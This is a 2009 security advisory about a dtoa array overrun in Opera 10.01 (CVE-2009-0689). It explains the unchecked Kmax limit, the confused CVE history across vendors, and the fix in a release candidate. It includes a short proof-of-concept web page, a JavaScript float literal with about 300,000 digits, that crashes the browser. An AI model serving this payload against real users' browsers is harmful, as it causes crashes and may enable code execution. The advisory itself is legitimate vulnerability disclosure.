- --- 0.Description ---
Opera is a Web browser and Internet suite developed by the Opera Software company. \
The browser handles common Internet-related tasks such as displaying Web sites, \
sending and receiving e-mail messages, managing contacts, IRC online chatting, \
downloading files via BitTorrent, and reading Web feeds. Opera is offered free of \
charge for personal computers and mobile phones.


- --- 1. Opera 10.01 Remote Array Overrun (Arbitrary code execution) ---
The main problem exist in dtoa implementation. Opera has a very similar dtoa \
algorithm to the BSD, Chrome and Mozilla products. It is the same issue like \
SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good. 
More information about fix for openbsd and similars SREASONRES:20091030, 

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In Kmax has \
defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call \
16<= elements of freelist array.


- --- 2. Proof of Concept  (PoC) ---

- -----------------------
<script>
var a=0.<?php echo str_repeat("9",299999); ?>;
</script>
- -----------------------

If we use Opera to see this PoC, Opera will crash. For example

- -----------------------
<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>

- --- 3. SecurityReason Note ---

Officialy SREASONRES:20090625 has been detected in:
- - OpenBSD
- - NetBSD
- - FreeBSD
- - MacOSX
- - Google Chrome
- - Mozilla Firefox
- - Mozilla Seamonkey
- - KDE (example: konqueror)
- - Opera
- - K-Meleon

This list is not yet closed. US-CERT declared that will inform all vendors about this \
issue, however, they did not do it. Even greater confusion caused new CVE number \
"CVE-2009-1563". Secunia has informed that this vulnerability was only detected in \
Mozilla Firefox, but nobody was aware that the problem affects other products like ( \
KDE, Chrome ) and it is based on "CVE-2009-0689". After some time Mozilla Foundation \
Security Advisory ("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html")
was updated with note :
"The underlying flaw in the dtoa routines used by Mozilla appears to be essentially \
the same as that reported against the libc gdtoa routine by Maksymilian Arciemowicz ( \
CVE-2009-0689)". This fact ( new CVE number for Firefox Vulnerability )and PoC in \
javascript (from Secunia), forced us to official notification all other vendors. We \
publish all the individual advisories, to formally show all vulnerable software and \
to avoid wrong CVE number. We do not see any other way to fix this issue in all \
products.


- --- 4. Fix ---
Opera fix:
The vulnerability was fixed in the latest release candidate Opera RC3 : \
http://snapshot.opera.com/windows/Opera_1010_1890_in.exe In shortly time we can \
expect the final verion of Opera with the fix.
